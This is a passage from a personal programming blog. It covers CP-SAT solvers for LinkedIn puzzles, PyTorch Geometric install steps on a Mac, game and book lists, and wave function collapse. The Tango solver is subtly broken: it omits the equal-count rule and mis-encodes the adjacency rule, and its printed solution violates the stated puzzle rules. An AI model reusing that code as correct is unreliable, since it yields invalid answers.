        print("")
    print("\n\n")

solver = cp_model.CpSolver()
solver.parameters.log_search_progress = True
result = solver.Solve(model)
pr_sol(solver, solution)

Success:

CpSolverResponse summary:
status: OPTIMAL
walltime: 0.003608
usertime: 0.003608
deterministic_time: 4.7637e-05
gap_integral: 0

  a    a    b   *B*   b    c    c    c  
  a    d    b    d    b   *E*   c    c  
  a   *D*   b    d    b    c    c    c  
  a    d    d    d    b    f    g   *C* 
 *A*   d    d    d    b    f    g    g  
  a    d   *H*   d    b    f    g    g  
  h    d    h    d    b    f   *F*   g  
  h    h    h    h   *G*   g    g    g

We can also easily confirm whether this is the only feasible solution:

class VarArraySolutionPrinter(cp_model.CpSolverSolutionCallback):
    def __init__(self, variables):
        cp_model.CpSolverSolutionCallback.__init__(self)
        self.__variables = variables
    def on_solution_callback(self):
        pr_sol(self, self.__variables)

solver = cp_model.CpSolver()
solver.parameters.log_search_progress = True
solver.parameters.enumerate_all_solutions = True
result = solver.Solve(model, VarArraySolutionPrinter(solution))

Which indeed is the case:

Starting subsolver 'main' hint search at 0.01s
Starting subsolver 'main' search at 0.01s
#1       0.01s main
  a    a    b   *B*   b    c    c    c  
  a    d    b    d    b   *E*   c    c  
  a   *D*   b    d    b    c    c    c  
  a    d    d    d    b    f    g   *C* 
 *A*   d    d    d    b    f    g    g  
  a    d   *H*   d    b    f    g    g  
  h    d    h    d    b    f   *F*   g  
  h    h    h    h   *G*   g    g    g  

#Done    0.01s main

Bonus: Tango

LinkedIn also has another puzzle, called Tango, which looks like this:

With these rules: fill each cell with either a sun or moon. No more than two of the same symbol may be next (vertically or horizontally) to each other. Each row and column must have an equal number of suns and moons. Cells separated by “=” must be the same type. Cells separated by “×” must be opposite types.

This is also easy to solve with constraint programming (as a Mixed Integer Program it is a bit harder but also possible). First we prepare the level data and some constants. No easy way to load in level data in this case, so we just define it hardcoded:

level = """
......
......
..00..
......
.1..0.
..11..
"""
equal = [
    [(0, 1), (0, 2)],
    [(0, 3), (0, 4)],
    [(2, 0), (3, 0)],
    [(2, 5), (3, 5)],
]
opposite = [
    [(1, 0), (2, 0)],
    [(1, 5), (2, 5)],
]


LEVEL = [
    [int(nr) if nr != "." else -1 for nr in row]
    for row in level.strip().split("\n")
    if row
]
ROWS = len(LEVEL)
COLS = len(LEVEL[0])

0 is a moon and 1 is a sun (or vice versa). The dots are empty spots and get converted to -1. Next we set up the solution variables which can just be bools:

model = cp_model.CpModel()
solution = [[model.NewBoolVar(f"x_{r}_{c}") for c in range(COLS)] for r in range(ROWS)]

And then we can add the constraints:

# Set known values
for r in range(ROWS):
    for c in range(COLS):
        if LEVEL[r][c] != -1:
            model.Add(solution[r][c] == LEVEL[r][c])

# No more than three in a row and col
for r in range(ROWS):
    model.Add(sum([solution[r][c] for c in range(COLS - 2)]) < 3)
    model.Add(sum([solution[r][c].Not() for c in range(COLS - 2)]) < 3)
for c in range(COLS):
    model.Add(sum([solution[r][c] for r in range(ROWS - 2)]) < 3)
    model.Add(sum([solution[r][c].Not() for r in range(ROWS - 2)]) < 3)

# Equality and opposite constraints
for eq in equal:
    model.Add(solution[eq[0][0]][eq[0][1]] == solution[eq[1][0]][eq[1][1]])
for neq in opposite:
    model.Add(solution[neq[0][0]][neq[0][1]] != solution[neq[1][0]][neq[1][1]])

And then can run the solver and print out the solution:

def pr_sol(sol, solution):
    for r in range(ROWS):
        for c in range(COLS):
            val = sol.Value(solution[r][c])
            print(f" {val} ", end="")
        print("")
    print("\n\n")


solver = cp_model.CpSolver()
solver.parameters.log_search_progress = True
result = solver.Solve(model)

pr_sol(solver, solution)

 0  1  1  0  0  0 
 0  0  1  1  0  0 
 1  1  0  0  1  1 
 1  0  0  1  1  1 
 0  1  0  1  0  0 
 0  0  1  1  0  0

Here too, the presolver of CP-SAT can immediately reduce this to a trivial problem without having to run any further search.

Bonus: Zip

LinkedIn also has another puzzle, called Zip, which looks like this:

With these rules: draw a single path that fills every cell. Follow the numbered cells in order.

It seems that additionally paths start at 1 and end at the highest number. This problem is a little bit more interesting as it basically involves finding a Hamiltonian cycle, but with CP-SAT that is pretty easy.

level = """
1.....
....7.
.4.8..
..6.5.
.3....
.....2
"""


LEVEL = [
    [int(nr) if nr != "." else 0 for nr in row]
    for row in level.strip().split("\n")
    if row
]
NUMBERS = set([int(nr) for row in LEVEL for nr in row if nr != "."])
ROWS = len(LEVEL)
COLS = len(LEVEL[0])

model = cp_model.CpModel()

solution = [
    [model.NewIntVar(1, ROWS * COLS, f"x_{r}_{c}") for c in range(COLS)]
    for r in range(ROWS)
]

We will use integer variables as our solution variables here, basically numbering each cell from 1 to ROWS*COLS to indicate the order in which they are visited.

Making sure that we visit the numbers in the right order is easy enough:

# Enforce ordering of known numbers
from itertools import product

for r1, c1 in product(range(ROWS), range(COLS)):
    for r2, c2 in product(range(ROWS), range(COLS)):
        if (r1, c1) == (r2, c2) or LEVEL[r1][c1] == 0 or LEVEL[r2][c2] == 0:
            continue
        if LEVEL[r1][c1] < LEVEL[r2][c2]:
            model.Add(solution[r1][c1] < solution[r2][c2])
    if LEVEL[r1][c1] == 1:
        model.Add(solution[r1][c1] == 1)
    if LEVEL[r1][c1] == max(NUMBERS):
        model.Add(solution[r1][c1] == ROWS * COLS)

But this doesn’t lead to a valid path (we can just jump over neighbors). So to make sure our path is valid, we construct a Hamiltonian cycle. Probably an alternative method is constraining each cell to have neighbor equal to itself minus one (except for the starting position) and a neighbor to itself plus one (except for the ending position), but this leads to having to manually introduce a bunch of helper variables so just using the constraints CP-SAT provides is easier:

# Construct Hamiltonian cycle
arcs = []
pos_to_nr = {
    (r, c): i for i, (r, c) in enumerate(product(range(ROWS), range(COLS)))
}
nr_to_pos = {
    i: (r, c) for i, (r, c) in enumerate(product(range(ROWS), range(COLS)))
}
offsets = [(0, -1), (0, +1), (-1, 0), (+1, 0)]

for (r, c), number in pos_to_nr.items():
    lit_to = model.NewBoolVar(f"lit_{r}_{c}_to_dummy")
    lit_from = model.NewBoolVar(f"lit_{r}_{c}_from_dummy")
    arcs.append((number, len(nr_to_pos), lit_to))
    arcs.append((len(nr_to_pos), number, lit_from))
    for offset in offsets:
        nr, nc = r + offset[0], c + offset[1]
        if nr < 0 or nc < 0 or nr >= ROWS or nc >= COLS:
            continue
        lit = model.NewBoolVar(f"lit_{r}_{c}_{nr}_{nc}")
        # If this arc is chosen in our path then the neighbor must be one higher than this cell
        model.Add(solution[nr][nc] - solution[r][c] == 1).OnlyEnforceIf(lit)
        arcs.append((number, pos_to_nr[(nr, nc)], lit))

model.add_circuit(arcs)

In case you’re wondering how this works in terms of this being a closed “cycle”: the first and last cell are connected to a “dummy” cell.

Solving:

def pr_sol(sol, solution):
    chars = ["←", "→", "↑", "↓", "."]
    for r in range(ROWS):
        for c in range(COLS):
            val = sol.Value(solution[r][c])
            for oi, offset in enumerate(offsets):
                nr, nc = r + offset[0], c + offset[1]
                if nr < 0 or nc < 0 or nr >= ROWS or nc >= COLS:
                    continue
                val_neigh = sol.Value(solution[nr][nc])
                if val_neigh == val + 1:
                    break
            else:
                oi = 4
            print(
                f" {chars[oi]}{LEVEL[r][c] or ' '} ", end=""
            )
        print("")
    print("\n\n")


solver = cp_model.CpSolver()
solver.parameters.log_search_progress = True
result = solver.Solve(model)

pr_sol(solver, solution)

 ↓1  →   →   →   →   ↓  
 ↓   ↑   →   →   ↓7  ↓  
 ↓   ↑4  ↑   .8  ←   ↓  
 ↓   ↑   ↑6  ←   ←5  ←  
 ↓   ↑3  ←   ←   ←   ←  
 →   →   →   →   →   ↑2

This problem cannot be fully reduced during the presolve:

Preloading model.
#Model   0.01s var:136/137 constraints:221/221

Starting search at 0.01s with 16 workers.

CpSolverResponse summary:
status: OPTIMAL
objective: NA
best_bound: NA
integers: 34
booleans: 109
conflicts: 54
branches: 808
propagations: 5261
integer_propagations: 7070
restarts: 427
lp_iterations: 0
walltime: 0.013788
usertime: 0.013788
deterministic_time: 0.0410384
gap_integral: 0

The actual version of the puzzle also introduces walls in some levels that cannot be crossed by the path, but this is trivial to add, essentialy something like:

if (r, c, nr, nc) in walls or (nr, nc, r, c) in walls:
    model.Add(lit == 0)

In the for loop above.

Installing PyTorch and PyTorch Geometric on Mac M* With uv And Without Homebrew.

2025-06-18T11:40:00+02:00

A huge mess at the moment. Binary wheels point to the wrong location (“Library” Python install). I don’t want to use Homebrew on this Mac so resorted to compile from source.

First set up a project directory:

mkdir pygtest 
cd pygtest

Init with a Python version and Torch version:

uv init --python 3.12
uv add torch==2.7.0 torchvision torchaudio

Then make sure Command Line Tools are installed:

xcode-select --install

Set up build tools:

uv pip install cmake ninja

Export compile variables:

export CC=clang
export CXX=clang++
export CFLAGS="-Xclang -fopenmp -I/usr/local/include"
export CXXFLAGS="$CFLAGS"
export LDFLAGS="-L/usr/local/lib -lomp"
export CMAKE_OSX_ARCHITECTURES=$(uname -m)
export MACOSX_DEPLOYMENT_TARGET=$(sw_vers -productVersion | cut -d. -f1-2)

Compile the easy packages that have source wheels:

for pkg in torch_scatter torch_sparse torch_cluster torch_spline_conv
do uv pip install --no-build-isolation --no-binary $pkg $pkg; done

Download and extract the right openmp binary (will be placed in /usr/local/include):

curl -O https://mac.r-project.org/openmp/openmp-19.1.0-darwin20-Release.tar.gz 
sudo tar fvxz openmp-19.1.0-darwin20-Release.tar.gz -C /

Compile pyg-lib;

export PYG_TAG=0.4.0
uv pip install --no-binary :all: --no-build-isolation "git+https://github.com/pyg-team/pyg-lib.git@$PYG_TAG"

Add torch_geometric:

uv add torch_geometric

And test:

uv run python - <<'PY'                                    
import torch, torch_geometric, pyg_lib, torch_scatter
print("Torch           :", torch.__version__)
print("PyG             :", torch_geometric.__version__)
print("pyg_lib         :", pyg_lib.__version__)
print("torch_scatter   :", torch_scatter.__version__)
print("MPS available   :", torch.backends.mps.is_available())
PY

Torch           : 2.7.0
PyG             : 2.6.1
pyg_lib         : 0.4.0
torch_scatter   : 2.1.2
MPS available   : True

Maybe Some Games I Look Forward To

2025-06-13T20:49:00+02:00

The last time I did this was in 2017, but I’m in some mood to do it once again. With Summer Games Fest, Next Fest, the PC Gaming Show, the Future Games Show, Fan Fest, and so, so many more shows, even a hardcore fan of gaming would be hard pressed to keep up with all the games that are coming out soon.

It’s not a bad thing either, after going through an event drought and remembering times when E3 was the only place to get a glimpse of upcoming games, it’s nice to see so many events happening again. But on the other hand, it’s also overwhelming and even - dare I say - tiresome. What’s bothering me the most is that most events boil down to a rapid fire of trailers with the vast majority of them being “UE5 slop“, or simply non-inspired gameplay, with a sprinkle of indie-hope mixed in between which goes too fast for one to be able to write down the name, hoping they’ll one day be able to stumble upon it.

In any case, this is what I have noted down so far (alphabetically):

Anno 117: Pax Romana – First Anno set in Ancient Rome. I played it during a recent preview event and enjoyed it. Same systems, but cool new setting.
Bernband – An alien-city walking simulator with zero objectives that immerses you in its atmosphere. And more chill Peripeteia does sounds cool.
Demonschool – Turn-based tactics with school‑life sim and teen horror. Related: the Person 4 remake looks good to but after playing Golden recently (meaning years ago), I’m not sure I’m ready for it. Also when is the remake of Catherine coming? That’s something I am ready to replay.
Dungeons & Dragons Neverwinter Nights 2: Enhanced Edition – Classic RPG fully remastered. I have more nostalgia towards the first one, but that one (including its remake) is kinda hard to play nowadays.
End of Abyss – A tense sci‑fi horror‑action adventure mixing Souls‑like melee with unsettling monster design in a derelict complex. Not sure if it’s for me but looked interesting.
Fractured Blooms – A psychological life‑sim in a time‑loop, combining house restoration, cooking, gardening, and horror elements. Again not sure with all the busy-work but we will see.
Hollow Knight: Silksong – It’s been delayed for so long one basically has to play it.
Keeper – Play as a living lighthouse and wordlessly explore surreal environments in a poetic puzzle‑adventure. I love lighthouses and this looks simply beautiful.
Lego Voyagers – Cozy co‑op adventure where tiny bricks build, explore, and pilot contraptions together. Something to play with the kid.
Mina the Hollower – A GameBoy‑Color‑styled gothic Zelda‑like, built under strict 4‑color hardware constraints for authentic retro flair. I like self-imposed constraints in game dev so this looked cool.
Neverway – After quitting her dead-end job, Fiona starts over on a farm and becomes the immortal herald. Cool retro art style.
No, I’m Not a Human – Stay inside. Lock your doors. Close the blinds. Weird horror.
Please, Watch the Artwork – Night surveillance at the museum but the paintings are alive. Watch, listen and report all changes. Yes, that’s a trope at this point, but the visual style is cool.
Pocket Boss – This is so “corporately” genius that this will probably be the must play of the list for me, if not only because it seems that it will only take a couple of hours to finish.
Ritual Tides – Ritualistic horror by ex‑GTA/Red Dead devs, with cult‑infused pencil‑style art on a mysterious island.
SacriFire – An RPG boasting a unique combat system, and elaborate pixel art.
Silent Hill Remake – Seems to be coming… To be seen if I actually play it or just finally play through the original instead.
Suikoden I & II HD Remaster – Enhanced visual fidelity and quality‑of‑life updates to classic JRPG duology.
Suikoden Star Leap – Is similar, if I ever find time to actually play all these RPGs.
Titan Quest 2 – Evolves the beloved mythic‑action‑RPG formula. And I’m kinda in the mood for some hack ‘n’ slash again.

A couple of additional demos from Steam Next I enjoyed:

Dead as Disco
THYSIASTERY
MIO: Memories in Orbit
Ball x Pit

And a couple more indies I found (these look very interesting):

Night of the Consumers
Beta Decay
HALLOW BLADE
Fractal Sailor
Forbidden Solitaire
OMUT
Haunted Lands
Lady Dracula
Dust Front RTS
Kriegsfront Tactics
Winnie’s Hole
Darkenstein 3D
Moros Protocol
Deep State
CYBRLICH and the Death Cult of Labor
Easy Delivery Co.
Cleared Hot
Over The Hill
Nightrunners
SSR Wives: The Murder Of My Winter Crush
Dreams of Another
Neo junk City
Queen’s Domain
The Backworld
CARIMARA: Beneath the forlorn limbs
Effulgence
Kingdoms of the Dump
Whisper Mountain Outbreak
散歩 WALK

Books I’ve Read in 2024

2024-12-24T12:00:00+01:00

At the end of 2023, certain events in my life led to a realization that I was spending way too little time on reading in the years past, even though I have always been an avid reader in my youth and adult life. Facing some “weltschmerz” and not finding enjoyment in series, movies or games that much anymore, I decided to set out to read more in 2024.

Overall, this has been a success. I found that I still enjoy reading, and the initial months of surpassing the brainrot and having to learn to focus again have been generally beneficial. These are the books I’ve read:

Title	Year	Author	Rating
Determined	2023	Robert M. Sapolsky	good
Behave	2017	Robert M. Sapolsky	ok
Venomous	2016	Christie Wilcox	good
Zero	2000	Charles Seife	book
The Courage to Be Disliked	2013	Ichiro Kishimi, Fumitake Koga	book
Broken Stars	2019	Ken Liu	great
Scattered Minds	1999	Gabor Maté	book
Invisible Planets	2017	Ken Liu	great
Exhalation	2019	Ted Chiang	great
All Tomorrows	2006	C.M. Kösemen	bad
Surrounded by Idiots	2014	Thomas Erikson	bad
Stories of Your Life and Others	2002	Ted Chiang	great
The Hidden Girl and Other Stories	2020	Ken Liu	good
The Paper Menagerie	2011	Ken Liu	great
Rubicon	2003	Tom Holland	book
The Body Keeps the Score	2014	Bessel van der Kolk	good
How to Live	2021	Derek Sivers	book
Blockchain Chicken Farm	2020	Xiaowei Wang	good
The Molecule of More	2018	Daniel Lieberman, Michael Long	good
The Gene: An Intimate History	2016	Siddhartha Mukherjee	book
Building Simcity	2024	Chaim Gingold	ok
This is Why You Dream	2024	Rahul Jandial	good
An Immense World	2022	Ed Yong	good
No Longer Human	1948	Osamu Dazai	great
Save Me an Orange	2024	Hayley Grace	ok
Het Vaticaan	2024	Rik Torfs	great
Calling Bullshit	2020	Carl Bergstrom, Jevin West	good
Entangled Life	2020	Merlin Sheldrake	good

Don’t read too much into the rating system, I’m using a generally bad-ok-good-great assignment (inspired by https://davidmytton.blog/reading/) but this is based mostly on subjective aspects.

What I find particularly interesting is how the genre and book themes changed throughout the year. I hope to continue this in 2025.

Some Fun With Wave Function Collapse

2024-06-29T09:22:00+02:00

If you’re at all interested in procedural generation, digital art or game development, it’s very likely that you’ve heard about the wave function collapse (WFC) algorithm before. It’s incredible popular, has been ported to virtually every language and engine, and used in several games.

In essence, WFC is a texture synthesis algorithm that generates an output image with a desired size that is as similar as possible to a given sample image. WFC tries to ensure local similarity, meaning that the output image can only contain NxN patterns of pixels that are prersent in the input.

The following example (taken from the best known WFC repo) shows an example of the technique. The given image is on the left, with the generated output on the right. N = 3 here, so every 3x3 tile in the output can be found in the input.

A Little bit of Formalization

The name “wave function collapse” sounds cool and refers to a quantum mechanics, but the technique is actually very simple.

Many sources make an explicit distinction between the so called “overlapping” and “tiled” mode of WFC. For example, this and this page do a good job of explaining the latter, but both techniques can in fact be cleanly expressed in the same general framework.

Let T be a set of tiles (small sprites) with dimensions w x h. The goal is to fill up a grid so that each cell contains exactly one tile. In the initial state, each tile is possible at every cell so that: G[x][y] = T for each x, y. The user also needs to define a neighborhood function N: ℕxℕ ↦ P(ℕxℕ). In most cases, this is simply the von Neumann neighborhood (or 4-neighborhood) so that N(x,y) = {(x-1,y), (x+1,y), (x,y-1), (x,y+1)} (without crossing the grid boundaries, but setups where the grid wraps around are also sometimes used).

For the sake of notation, it is perhaps easier to define a set of named offsets instead, e.g. O = {L: (-1, 0), R: (1, 0), U: (0, 1), D: (0, -1)} and write something like neighbor(L, 1, 3) (coordinates for cell on the left of the one at x=1, y=3). The exact definitions are trivial but verbose so omitted here.

Finally, the user provides a set of constraints C which states which tiles are allowed to be a neighbor of others for the different offsets. (Constraints expressing which tiles are not allowed is also possible; it doesn’t change the setup, but the former makes the algorithm below read a bit easer.)

The algorithm itself then works as follows:

while there still cells with more than one tile:
    min_val = min({∀ x, y : |G[x][y]| | |G[x][y]| > 1 })
    min_cells = {∀ x, y: (x,y) | |G[x][y]| = min_val }
    cell_to_collapse = random(min_cells)
    tile_to_use = random(G[cell_to_collapse])
    G[cell_to_collapse] = {tile_to_use}
    propagate(cell_to_collapse)

In short, as long as there are still cells to “collapse” (i.e. decide their tile), pick a random cell out of the set which allows for the least amount of choices and pick a random valid tile for it. This follows a minimum entropy heuristic and is similar how to humans perform search. This procedure is not guaranteed to end in a state where all tiles can be collapsed and so some restarts might be required, but in most cases (with a generous set of tiles and constraints), it works well enough.

The propagate function starts from the x, y coordinates of the cell we have just “collapsed” and updates the neighboring cells based on this new information we have obtained. That is, we can take out potential tile choices from surrounding cells as we know based on the constraints they will not be valid any longer, i.e.:

# Wrong version of propagate
propagate(x, y):
    for offset in O:
        neighbor_coords = neighbor(offset, x, y)
        G[neighbor_coords] = {∀ t in T : t | allowed(offset, x, y, t)}

allowed(offset, x, y, candidate_tile):
    neighbor_coords = neighbor(offset, x, y)
    # Is there a tile in the "center" cell 
    # which is compatible with the candidate tile?
    return ∃ ∀ ct in G[x][y] : (offset, ct, candidate_tile) ∈ C

Why is this wrong? Because this fails to take into account that if we change the set of possible tiles for a cell based on the one we just collapsed, that information, too, should be propagated to its neighbors. So we need to keep track of a stack instead:

# Correct version of propagate
propagate(x, y):
    to_do = {(x, y)}
    while |to_do|:
        x, y = pop(to_do)
        for offset in O:
            neighbor_coords = neighbor(offset, x, y)
            len_before = |G[neighbor_coords]|
            G[neighbor_coords] = {∀ t in T : t | allowed(offset, x, y, t)}
            if |G[neighbor_coords]| != len_before:
                to_do += {neighbor_coords}

That’s all there is to it.

Small Example

This is enough to understand what most resources refer to as the “tiled” mode of WFC. For example, say that we have T = {mountain, grass, beach, water} and C = {(L, water, water), (L, water, beach), (L, beach, water), (L, beach, beach), (L, beach, grass), (L, grass, beach), (L, grass, grass), (L, grass, mountain), (L, mountain, grass), (L, mountain, mountain), … (repeat for the other offsets)}. In other words, we have a simplistic and symmetric set of allowances here where water can be next to water or beach, a beach can be next to water, beach or grass, and so on.

The tiles themselves are just visualized in a solid color, and running the algorithm then gives the following result:

Moving to the Overlapping Mode

Once you understand the above, it is very easy to make the jump to the so called “overlapping” mode. Let’s try this out with the typical “flowers” example:

The set of tiles T here is simply extracted by sliding a window with dimensions w x h over the input image:

Typically, a 2x2 or 3x3 pattern is used to do so.

The set of allowances C is then simply based on whether to tiles where next to each other somewhere in the given input image for the given (offset) direction.

The final “trick” to understand is that to visualize our grid G, we need to overlap the tiles again with each other (each tile needs to move w-1 to the left and h-1 upwards).

And then we get the following end result for a 2x2 set of tiles:

If we try this with one of the 3x3 examples, however, we might find that it does not work as expected:

The “mistake” made here is that we didn’t allow sliding window to go outside the boundaries of the template image and wrap around. Once we fix that, we get the expected result (the grayscale color used here indicates the number of possibilities left for non-collapsed cells):

More Tiles

A final gotcha to be aware of when working in overlapping mode especially is the fact that in most cases, we do not only want the sliding window to go outside the boundaries of the template image, but we also want to create additional tiles from each of the ones we extract by rotating them, or flipping them along the horizontal and/or vertical axis.

When this is done, one however needs to be careful when constructing the set of allowance constraints as we can’t simply do so by matching tiles with the input image. Hence, the set of allowances should be constructed dynamically by iterating over each pair of tiles, iterating over all the offsets, and checking whether the pixel colors match. In other words, whether the pair of tiles overlaps according to the given offset.

This website allows you to play around with a fast implementation of the overlapping mode and lets you draw your own pattern as well. I’m embedding it below so you can play around with it:

Supervised WFC?

Continuing from this basic setup, a lot of people have been working to create more constrained versions of WFC, typically by coming up with methods to also make the technique globally constrained. A simple example would be to insure for instance in our first example that there is a walkable path of grassland from, say, top to bottom. Such global constraints are typically necessary when applying WFC in games.

There are different approaches to tacke this. Perhaps the easiest would just be to continue restarting the algorithm until a solution is found which satisfies the global constraints. Another one is to tackle the global constraints by post-processing the generated image (and accept the fact that the image might not be fully locally consistent any longer). Other approaches implement a form of backtracking and checking inside of the WFC algorithm itself. The Caves of Qud developer has a good talk on this, and so does the dev of Bad North.

Something which I have been exploring a while ago whilst looking through loackme’s work was whether WFC would also lend itself to creating this kind of glitch art. Starting from a target image, instead of using tile_to_use = random(G[cell_to_collapse]), I instead picked the tile which pattern was closest to the corresponding spot in the target image. I first used RMSE to do so but later switched to using the Euclidean distance between two points in Lab color space instead, which worked a lot better.

Since my implementation was very slow, I perform the generation in a multi-threaded way by just slicing up the image into smaller squares and running WFC on each of them. This breaks the local constraints at the edges of the smaller squares, which can be mitigated if you’re careful how you go over the squares (i.e. with the neighborhood above, a checkerboard pattern would work), but I found it makes the results look interesting as well.

Depending on the template used, you can pretty good or at least diverse results this way:

WFC as Constraint Programming

Whilst playing around with this, I also realized you could probably implement WFC as a constraint programming problem. I was heavily using CP-SAT for a serious project at the time. I got quite excited about the possibility to potentially write a short conference paper on this, but Isaac and Adam at the University of California Santa Cruz already beat me to it in 2017.

Oh well, they implement it using Choco, so we can at least have a bit of programming exercise using CP-SAT.

A basic implementation boils down to this:

from ortools.sat.python import cp_model
from random import randint

OFFSETS = {
    "up": (0, -1),
    "dn": (0, +1),
    "le": (-1, 0),
    "ri": (+1, 0),
}

RULES = { # My <dir> neighbor can be any of this
    "━": {"up": '━┗┛ ', "dn": '━┏┓ ', "le": '━┏┗', "ri": '━┛┓'},
    "┃": {"up": '┃┏┓', "dn": '┃┗┛', "le": '┃┛┓ ', "ri": '┃┏┗ '},
    "┏": {"up": '━┗┛ ', "dn": '┃┗┛', "le": '┃┛┓ ', "ri": '┛┓━'},
    "┓": {"up": '━┗┛ ', "dn": '┃┗┛', "le": '━┏┗', "ri": '┃┏┗ '},
    "┗": {"up": '┃┏┓', "dn": '━┏┓ ', "le": '┃┛┓ ', "ri": '━┛┓'},
    "┛": {"up": '┃┏┓ ', "dn": '━┏┓ ', "le": '━┏┗', "ri": '┃┏┗ '},
    " ": {"up": '━┗┛ ', "dn": '━┏┓ ', "le": '━┛┓ ', "ri": '━┏┗ '},
}

TILES = list(RULES.keys())

GRID_SIZE = (40, 10)

model = cp_model.CpModel()
position_to_tiles = {}
tiles_to_amount = {}

# Exactly one tile per cell
for x in range(GRID_SIZE[0]):
    for y in range(GRID_SIZE[1]):
        position_to_tiles[(x, y)] = [
            model.NewBoolVar(f"position_to_tile_{x}_{y}_{i}") \
                for i in range(len(TILES))
        ]
        model.Add(sum(position_to_tiles[(x, y)]) == 1)

# Ensure local consistency
for x in range(GRID_SIZE[0]):
    for y in range(GRID_SIZE[1]):
        pos = (x, y)
        c_var = position_to_tiles[pos]
        for offset_key, offset in OFFSETS.items():
            n_pos = (x + offset[0], y + offset[1])
            if n_pos[0] < 0 or n_pos[1] < 0 or n_pos[0] >= GRID_SIZE[0] or n_pos[1] >= GRID_SIZE[1]:
                continue
            for t in range(len(TILES)):
                allowable_bools = [
                    position_to_tiles[n_pos][TILES.index(allowed)] \
                        for allowed in RULES[TILES[t]][offset_key]
                ]
                model.Add(sum(allowable_bools) >= 1).OnlyEnforceIf(c_var[t])

def pr_sol(sol, position_to_tiles):
    for y in range(GRID_SIZE[1]):
        for x in range(GRID_SIZE[0]):
            for t in range(len(TILES)):
                if sol.Value(position_to_tiles[(x, y)][t]) > 0:
                    print(TILES[t], end="")
        print("")
    print(""); print(""); print("")

solver = cp_model.CpSolver()
solver.parameters.random_seed = randint(0, 10000)
solver.parameters.log_search_progress = True

result = solver.Solve(model)
pr_sol(solver, position_to_tiles)

A random seed is set to generate a different solution every time. When we run this, we see:

┓┏┛ ┏┓┃┗┓┃┃┏━┓┃┃┃┏━━┛ ┏━┛┗┛ ┗┛┗┛ ┗━━━━┓┗
┛┗┓ ┗┛┃┏┛┃┗┛ ┗┛┗┛┗┓┏┓┏┛┏┓   ┏┓┏━┓┏┓┏┓ ┗┓
━━┛┏━┓┃┗┓┗━┓┏┓┏━━━┛┗┛┗┓┃┗━┓ ┗┛┗┓┃┃┗┛┗━━┛
┏━┓┃┏┛┗━┛ ┏┛┃┗┛ ┏┓  ┏┓┗┛  ┗━━━━┛┃┗┓┏━━┓┏
┗┓┃┃┃┏┓┏━━┛ ┗━┓ ┗┛┏┓┃┃┏┓┏━┓  ┏┓ ┗┓┃┃┏━┛┗
┓┃┃┃┃┃┗┛┏━┓┏┓ ┗┓┏┓┃┃┗┛┃┗┛ ┗━━┛┃┏━┛┃┗┛┏━━
┛┗┛┃┗┛  ┗┓┃┃┗┓┏┛┗┛┗┛┏━┛┏━━━━┓ ┗┛  ┗┓┏┛
┓  ┗━━┓  ┗┛┗┓┃┃┏┓ ┏┓┗━━┛┏━━━┛ ┏━━━━┛┗━┓
┛   ┏━┛ ┏┓┏━┛┃┃┃┗━┛┗┓┏━┓┃┏━━┓┏┛ ┏━━━┓ ┗━
┏━━┓┗━┓ ┗┛┃┏━┛┃┃┏┓┏━┛┗━┛┗┛┏┓┗┛  ┗━┓ ┗┓┏┓

A benefit of this is that this setup lends itself extremely well to adding additional constraints. For instance, we can easily add a constraint that states that at least 200 cells must be spaces:

# At least 200 cells must be spaces
model.Add(sum(position_to_tiles[(x, y)][TILES.index(" ")] \
              for x in range(GRID_SIZE[0]) for y in range(GRID_SIZE[1])) >= 200)

Which looks like this:

 ┗┛    ┏┓  ┏┛ ┏┛┃┗┛ ┗┓  ┗┛┃┗┛┏┓      ┗━━
       ┗┛  ┗━┓┃┏┛  ┏━┛  ┏━┛  ┗┛
     ┏┓    ┏━┛┗┛   ┗┓   ┗━━━┓┏┓      ┏━━
     ┗┛┏┓ ┏┛        ┗━┓   ┏┓┃┃┗┓     ┗┓
  ┏━━━┓┃┗━┛        ┏━┓┗━━━┛┃┃┃┏┛   ┏┓ ┗━
  ┗┓ ┏┛┗━┓         ┗━┛     ┗┛┗┛ ┏┓ ┗┛
  ┏┛┏┛   ┗┓   ┏┓          ┏┓  ┏━┛┃┏━━┓
┓┏┛┏┛     ┗━┓ ┗┛      ┏━┓ ┗┛ ┏┛  ┗┛ ┏┛ ┏
┗┛ ┗┓       ┗┓  ┏┓  ┏┓┃┏┛  ┏┓┗┓     ┗━━┛
   ┏┛       ┏┛ ┏┛┗━┓┗┛┗┛   ┗┛ ┗━┓

What we can also easily do since we’re using CP-SAT is add an objective. E.g. to ensure we get enough variation, we could maximize the entropy of the generated pattern using something like Σ -sum(p * log(p)) for each cell with p being the number of times the tile appears in the map divided by the map size. The issue is that this is difficult to implement in CP-SAT.

An easier proxy is to minimize the difference between the maximum and minimum times a tile appears:

# Attempt to maximize entropy: minimize max(t) - min(t)
t_counts = []
for t in range(len(TILES)):
    t_counts.append(model.NewIntVar(0, GRID_SIZE[0]*GRID_SIZE[1], f"weight_of_{t}"))
    model.Add(t_counts[-1] == sum([
        position_to_tiles[(x, y)][t]
        for x in range(GRID_SIZE[0])
        for y in range(GRID_SIZE[1])
    ]))
max_t = model.NewIntVar(0, GRID_SIZE[0]*GRID_SIZE[1], f"max_t")
min_t = model.NewIntVar(0, GRID_SIZE[0]*GRID_SIZE[1], f"min_t")
model.AddMaxEquality(max_t, t_counts)
model.AddMinEquality(min_t, t_counts)

model.Minimize(max_t - min_t)

This provides us with this:

 ┏┛┗━┛       ┗┛    ┏┓┃┗┓┗━┛┗┓┃┃┃┏┓┃┏┛┗┓
━┛                 ┗┛┗┓┃┏┓┏━┛┃┃┃┗┛┃┗━━┛
                    ┏━┛┗┛┗┛┏┓┃┃┗━┓┃┏━━━┓
                    ┗━━┓ ┏━┛┃┗┛┏┓┗┛┗━━┓┗
                       ┗━┛┏━┛┏┓┃┗━┓   ┗┓
                     ┏━┓┏┓┗━┓┃┃┃┏━┛ ┏━┓┃
                     ┗┓┗┛┃┏━┛┃┃┃┗━┓┏┛ ┗┛
                    ┏┓┗━━┛┃┏┓┗┛┃┏━┛┃┏┓┏━
                   ┏┛┗━━━┓┗┛┃┏┓┃┗━┓┃┗┛┃┏
    ┏┓             ┗┓┏┓ ┏┛ ┏┛┗┛┃┏┓┃┗┓┏┛┃

Though this is still a bit imbalanced topology-wise. Perhaps we can do better by looking at repetitions of NxN patterns instead? This is quite a challenge to express as an objective. Perhaps we can take a different approach: what we want to avoid is having that large areas filled with space on the left, so lets tackle that. One obvious way would just be to say that for any NxN area, we disallow that area from being filled up with space:

# Avoid large space
N_size = 3
for x in range(GRID_SIZE[0]-N_size):
    for y in range(GRID_SIZE[1]-N_size):
        model.Add(sum(
